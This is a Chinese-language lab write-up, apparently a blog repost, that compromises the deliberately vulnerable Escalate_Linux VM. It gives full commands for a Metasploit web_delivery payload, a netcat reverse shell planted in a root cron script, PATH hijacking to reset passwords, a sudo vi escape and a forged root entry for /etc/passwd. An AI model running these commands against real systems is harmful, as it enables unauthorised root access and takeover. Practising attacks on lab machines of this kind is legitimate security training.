前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Escalate_Linux 多漏洞提权实战

Escalate_Linux 多漏洞提权实战

作者头像
墙角睡大觉
发布2019-09-24 15:35:24
1.8K0
发布2019-09-24 15:35:24
举报
文章被收录于专栏:安全漏洞环境学习

0X1 环境摘要

今天我们为大家分享的是一款多漏洞的Linux靶机,通过系统中的不同漏洞进行提权获得root权限。

扫描

  • Netdiscover
  • NMAP

枚举

  • Web目录扫描

利用

  • Metasploit shell上传
  • LinEnum.sh 查询

权限提升

  • 环境变量提权
  • 文件可写提权
  • SUID提权

0X2 实验步骤

首先开始扫描主机IP地址,使用Netdiscover工具

代码语言:javascript
复制
netdiscover -r 172.16.1.0/24

找到漏洞环境地址是172.16.1.189。然后使用nmap进行全面综合扫描

代码语言:javascript
复制
nmap -A 172.16.1.189
代码语言:javascript
复制
root@kali:~# nmap -A 172.16.1.189
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-06 21:56 CST
Nmap scan report for 172.16.1.189
Host is up (0.00035s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3           2049/udp  nfs
|   100003  3,4         2049/tcp  nfs
|   100005  1,2,3      38169/udp  mountd
|   100005  1,2,3      60545/tcp  mountd
|   100021  1,3,4      39381/tcp  nlockmgr
|   100021  1,3,4      52112/udp  nlockmgr
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     3 (RPC #100227)
MAC Address: 00:0C:29:EA:F3:51 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX

Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUX\x00
|   Domain name: \x00
|   FQDN: osboxes
|_  System time: 2019-08-06T09:56:52-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-06 21:56:52
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 172.16.1.189

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds

发现有80服务,那就使用dirb扫描一下站点目录,使用-X选项扫描扩展为php格式的文件

代码语言:javascript
复制
dirb http://172.16.1.189/ -X .php

发现一个shell.php路径,浏览器访问一下

提示我们缺少参数,那么我们使用cmd传入一个参数尝试构造

当前用户是一个普通用户,而当前的环境又给了我们命令执行的接口,所以我们使用反弹shell的方式连接进去

代码语言:javascript
复制
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set srvhost 172.16.1.134
srvhost => 172.16.1.134
msf5 exploit(multi/script/web_delivery) > set lhost 172.16.1.134
lhost => 172.16.1.134
msf5 exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.1.134:4444 
[*] Using URL: http://172.16.1.134:80/TKEl7A6DrLCUvY9
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://172.16.1.134/TKEl7A6DrLCUvY9');exec(r.read());"
msf5 exploit(multi/script/web_delivery) > 
msf5 exploit(multi/script/web_delivery) >

172.16.1.134是kali的ip地址,然后生成一段python的反弹代码,直接执行不成功,URL编码一下。

代码语言:javascript
复制
%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%2e%31%33%34%2f%54%4b%45%6c%37%41%36%44%72%4c%43%55%76%59%39%27%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22%0a

然后在msfconsole终端中发现一个shell连接反弹过来了

等待一会会中断,使用sessions查看所有会话连接

可以看到基本上都是user6返回的连接,使用命令进入meterpreter会话中

代码语言:javascript
复制
sessions -i 1

因为之前我们已经在浏览器中执行过id命令,知道当前是user6用户,是一个id是1005的用户,所以使用upload命令上传linux环境检查脚本,但是失败

换个思路,本地开启web环境,将脚本放置在www目录中,通过进入到靶机中的shell中在tmp目录中执行wget命令下载

成功了!然后改变权限,执行脚本

代码语言:javascript
复制
$ ls
LinEnum.sh
$ $ chmod 777 LinEnum.sh
$ ./LinEnum.sh

然后系统中共有8个用户

我们还发现在crontab中,使用root权限每隔5分钟运行一个名为autoscript.sh的文件。

有没有很熟悉的赶脚?是的,大伙长做的AWD线下的很多后门都在计划任务中。然后可写的文件包括了passwd文件

下面开始进行权限提升不同的方法尝试

I 利用shell文件的SUID权限获取shell

在我们上面使用LinEnum.sh扫描的时候由于网段是NAT,所以在检测的时候/home/目录下的文件权限没有检测出来,但是换成桥接模式之后可以的,很是无语了。所以扫描出的结果正面在/home/user3和/home/user5/目录下有文件具有suid权限

所以这里,我们使用find命令按照执行权限来查找

代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/nul
-perm 表示按执行权限来查找
-type 表示查是块设备、目录、字符设备、管道、符号链接、普通文件

执行一下

再去执行shell

就可以获得root权限了。

II 通过破解root密码获取root shell

从上面的截图中,我们已经知道了user5目录下的script也可以执行root权限

在这里,我们使用环境变量访问/etc/shadow文件,然后提权。利用环境变量提权的利用可以参考github上开源的exploit-nebula练习环境。

命令如下

代码语言:javascript
复制
echo "cat /etc/shadow"  > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script

执行结果只后没有成功!按照预期,该脚本执行的时候应该会以root身份执行,然后加载环境变量,执行cat /etc/shadow命令,这样的话我们就能够拿到root身份的密码值,然后使用john破解即可。但是在做的时候这里没有显示出来,试了好长时间,没有成功!如果有小伙伴做出来,可以交流一下。

III 通过利用user1的SUDO权限获取root shell

这里我们使用echo和chpasswd命令用我们的新密码12345替换现有密码。然后使用su命令切换到user1帐户。在检查了user1的sudoer列表后,我们发现该用户可以将所有命令作为sudo运行。所以我们运行命令sudo su并获得root访问权限

代码语言:javascript
复制
 user6  / | tmp  echo 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
sudo suecho 'echo "user1:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user1
sudo –l
 user6  / | tmp  chmod 777 ls                                                  
 user6  / | tmp  export PATH=/tmp:$PATH                                        
 user6  / | tmp  cd /home/user5                                                
 user6  / | home | user5  ./script                                             
 user6  / | home | user5  su user1                                             
Password: 12345

su: Authentication failure
 user6  / | home | user5  su user1                                             
su user1
Password: 12345

Welcome to Linux Lite 4.4 user1
 
Tuesday 06 August 2019, 11:45:18
Memory Usage: 356/985MB (36.14%)
Disk Usage: 5/217GB (3%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)
 
 user1  /  home  user5  sudo su
sudo su
[sudo] password for user1: 12345

Welcome to Linux Lite 4.4
 
You are running in superuser mode, be very careful.
 
Tuesday 06 August 2019, 11:45:31
Memory Usage: 360/985MB (36.55%)
Disk Usage: 5/217GB (3%)
 
 root  /  home  user5  id
id
uid=0(root) gid=0(root) groups=0(root)
 root  /  home  user5  

IV 通过利用crontab获取root shell

我们通过上一关的利用方式对user4更改密码为12345

然后查看位于该用户桌面的autoscript.sh脚本

里面没啥关键信息。那么我们是不是可以往里面写一段反弹的shell呢?利用msfvenom进行编写。

代码语言:javascript
复制
msfvenom  -p  cmd/unix/reverse_netcat lhost=172.16.1.134  lport=8888  R

然后写入autoscript.sh脚本之中

代码语言:javascript
复制
echo 'mkfifo /tmp/nxbfap; nc 172.16.1.134 8888 0</tmp/nxbfap | /bin/sh >/tmp/nxbfap 2>&1; rm /tmp/nxbfap' > autoscript.sh

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载

即可看到会话过来,查看权限为root权限。

V 通过利用crontab获取root shell

同样的过程,对user8修改密码为12345

代码语言:javascript
复制
echo 'echo "user8:12345" | chpasswd' > ls
chmod 777 ls
export PATH=/tmp:$PATH
cd /home/user5
./script
su user8
sudo –l
sudo su

通过sudo -l查看user8的权限发现对vi有特权

那就打开一个vi,输入sh,退出

代码语言:javascript
复制
sudo vi
:!sh 
enter

获得root权限。

Ⅵ 利用/etc/passwd文件的可写权限

查看/etc/passwd文件内容

可以发现user7对于passwd文件应该是可写的。所以和上面几步一样,修改user7的密码为12345

查看user7权限

然后复制kali的passwd文件内容,对pass123求哈希值

代码语言:javascript
复制
openssl  passwd -1 -salt ignite pass123

然后拷贝到新的passwd文件中,用户名是睡大觉简写

代码语言:javascript
复制
sdj:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

保存成新的passwd文件,使用user7用户下载到环境中,覆盖原来的passwd文件内

查看passwd内容并切换账户

提权成功!

总结

这个漏洞环境利用了Linux下常见的一些管理配置上的特性,如SUID、环境变量、特殊文件可写、计划任务等功能,使得我们在以普通用户的身份就可以轻易利用这些漏洞成为管理员,在一般的比赛中是经常的考点。所以我们在平常的练习环境中应该对此类漏洞多多总结,这样在遇到的时候就会很容易发现并加以利用学习。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-08-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • IV 通过利用crontab获取root shell
  • V 通过利用crontab获取root shell
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档